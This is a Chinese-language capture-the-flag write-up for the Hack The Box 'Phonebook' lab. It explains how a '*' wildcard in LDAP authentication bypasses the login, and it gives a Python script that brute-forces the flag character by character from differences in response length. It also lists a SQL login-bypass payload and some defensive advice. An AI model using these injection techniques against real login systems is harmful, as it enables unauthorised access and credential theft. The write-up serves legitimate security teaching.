HTB之Phonebook
字数 971 2025-08-11 17:39:47
HTB之Phonebook靶场渗透测试教学文档
1. 靶场概述
Phonebook是一个基于Web的渗透测试靶场,主要考察以下安全知识点:
- 登录绕过技术
- LDAP注入漏洞
- 密码爆破技术
- 信息收集技巧
- 简单的脚本编写能力
2. 初始信息收集
2.1 登录界面分析
访问靶场首先看到一个登录界面,包含:
- 用户名和密码输入框
- 一段提示性文字(暗示使用"Reese"作为用户名)
2.2 初步测试
- 尝试使用万能密码绕过(如
' or 1=1 --)失败 - 发现页面回显message内容,怀疑存在XSS漏洞
- 虽然插入恶意代码但未弹窗,可能是self-XSS,利用价值有限
2.3 目录扫描
- 扫描发现网站目录结构简单
- 仅存在当前目录和CSS目录
2.4 源代码审查
- 发现CSS目录路径
- 尝试直接访问CSS目录,意外进入后台(但功能受限)
3. 登录绕过技术
3.1 密码爆破尝试
- 使用密码字典和fuzz字典测试
- 发现使用
*可以绕过登录
3.2 LDAP注入原理
*在LDAP查询中作为通配符,可以匹配任意字符- 当使用
*作为密码时,LDAP查询会匹配所有记录,导致登录绕过
4. Flag获取过程
4.1 关键发现
- 猜测flag可能是登录密码
- 尝试使用
H*登录成功,确认flag格式
4.2 自动化爆破脚本
编写Python脚本逐步爆破flag:
import requests
import string
flag = ''
wl = ''
wordlist = string.ascii_lowercase + string.ascii_uppercase + '0123456789_}'
while 1:
for i in wordlist:
wl = flag+i
url = 'http://178.128.37.153:32155/login'
value = {'username':'Reese','password':wl+'*'}
response = requests.post(url,value)
if response.headers['Content-Length'] == '2586':
flag = wl
print(flag)
break
if i=='}':
break
4.3 脚本解析
- 使用
string模块生成包含大小写字母、数字和下划线的字符集 - 通过循环逐个字符尝试
- 检测响应头中的
Content-Length判断是否登录成功 - 当遇到
}字符时终止循环
5. 技术要点总结
-
LDAP注入特性:
*作为通配符可导致认证绕过- 类似SQL注入但语法不同
-
爆破技巧:
- 基于响应长度的差异判断
- 逐步构建有效字符串
-
防御建议:
- 对LDAP查询中的特殊字符进行过滤
- 实施账户锁定机制防止爆破
- 避免使用响应长度等可预测的差异作为认证依据
6. 扩展思考
-
其他可能的攻击向量:
- 尝试其他LDAP注入payload
- 测试其他用户名是否存在类似漏洞
-
防御加固方案:
- 实现多因素认证
- 记录并监控异常登录尝试
- 使用参数化查询而非字符串拼接
本靶场展示了LDAP注入的实际应用场景,强调了特殊字符处理在认证系统中的重要性,以及如何利用系统响应差异进行信息收集和攻击。